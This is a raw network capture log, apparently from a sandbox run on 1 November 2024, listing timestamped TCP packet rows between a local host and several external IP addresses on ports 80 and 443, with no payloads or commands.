Nov 1, 2024 05:53:19.211128950 CET	80	49994	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:19.211273909 CET	49994	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:19.214117050 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:19.214406967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:19.219187021 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:19.219260931 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:19.219364882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:19.219510078 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:19.219541073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:19.224277020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:19.296423912 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:19.301215887 CET	80	49996	185.215.113.206	192.168.2.5
Nov 1, 2024 05:53:19.301290035 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:19.301408052 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:19.306155920 CET	80	49996	185.215.113.206	192.168.2.5
Nov 1, 2024 05:53:19.503114939 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:19.503129005 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:19.503201008 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:19.503964901 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:19.503981113 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.110960960 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.111038923 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.113367081 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.113374949 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.113607883 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.114960909 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.115096092 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.115130901 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.115206957 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.115219116 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.140280962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140294075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140342951 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.140393019 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140409946 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140422106 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140434027 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.140461922 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.140522003 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140532970 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140542984 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140554905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140566111 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.140578985 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.140638113 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.140678883 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.145327091 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.145380974 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.145414114 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.145442009 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.145623922 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.219707966 CET	80	49996	185.215.113.206	192.168.2.5
Nov 1, 2024 05:53:20.219759941 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:20.222351074 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:20.227138042 CET	80	49996	185.215.113.206	192.168.2.5
Nov 1, 2024 05:53:20.300764084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.300779104 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.300841093 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.300870895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.300884962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.300913095 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.300940990 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301057100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301100016 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301115990 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301131010 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301151037 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301172972 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301182985 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301218987 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301559925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301604986 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301610947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301626921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301640034 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.301650047 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301667929 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.301678896 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.302391052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302405119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302418947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302433968 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.302443027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302457094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302464962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.302472115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.302495956 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.302516937 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.302973032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.303010941 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.303029060 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.303042889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.303071976 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.303085089 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.303132057 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.303148031 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.303186893 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.305736065 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.305784941 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.305847883 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.305891037 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.305902004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.305948019 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461441994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461469889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461482048 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461527109 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461535931 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461551905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461570978 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461595058 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461637020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461673975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461674929 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461710930 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461711884 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461751938 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461776972 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461817980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461834908 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461858034 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461880922 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461901903 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.461929083 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461942911 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.461982965 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462043047 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462084055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462119102 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462131023 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462161064 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462172985 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462187052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462214947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462229013 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462249041 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462280035 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462363005 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462378025 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462392092 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462409973 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462429047 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462600946 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462642908 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462647915 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462662935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462693930 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462707043 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462774038 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462789059 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462805986 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462821007 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462835073 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462847948 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462930918 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462944984 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462958097 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.462973118 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.462985039 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463243008 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463289976 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463295937 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463310957 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463337898 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463351965 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463429928 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463443995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463460922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463474989 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463476896 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463498116 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463509083 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463606119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463622093 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463690996 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463881016 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463926077 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.463953018 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463977098 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.463994980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464011908 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464040041 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464054108 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464082956 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464095116 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464206934 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464229107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464242935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464248896 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464261055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464282990 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.464324951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.464370012 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.466415882 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.466429949 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.466461897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.466473103 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.510504007 CET	80	49996	185.215.113.206	192.168.2.5
Nov 1, 2024 05:53:20.510688066 CET	49996	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:53:20.600991964 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.601085901 CET	443	49997	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:20.601243019 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.601262093 CET	49997	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:20.622595072 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622617960 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622634888 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622654915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.622678041 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.622723103 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622736931 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622751951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622771978 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622773886 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.622786045 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622802973 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.622811079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.622834921 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.622865915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623032093 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623045921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623059034 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623073101 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623075008 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623095036 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623109102 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623123884 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623127937 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623152971 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623169899 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623248100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623260975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623275995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623289108 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623290062 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623301983 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623308897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623327017 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623330116 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623342037 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623354912 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623361111 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623369932 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623389006 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623409033 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623526096 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623538971 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623558044 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623575926 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623575926 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623586893 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623591900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623605013 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623608112 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623636007 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623660088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623761892 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623775959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623790979 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623804092 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623816013 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623816967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623831987 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.623847008 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.623876095 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624068022 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624089003 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624103069 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624115944 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624129057 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624136925 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624144077 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624167919 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624180079 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624231100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624243975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624257088 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624269962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624272108 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624284029 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624299049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624301910 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624315023 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624340057 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624362946 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624552011 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624567032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624579906 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624593973 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624607086 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624608994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624624014 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624638081 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624639034 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624651909 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624651909 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624670982 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624676943 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624707937 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624718904 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.624880075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.624929905 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627674103 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627688885 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627701998 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627716064 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627729893 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627743959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627748013 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627758980 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627773046 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627789021 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627809048 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627819061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627832890 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627836943 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627854109 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627867937 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627871990 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627877951 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627882004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627883911 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627897978 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627912998 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627918959 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627918959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.627943993 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.627959013 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628217936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628231049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628245115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628257036 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628262043 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628272057 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628281116 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628288984 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628304005 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628312111 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628330946 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628354073 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628355026 CET	49995	80	192.168.2.5	185.215.113.16
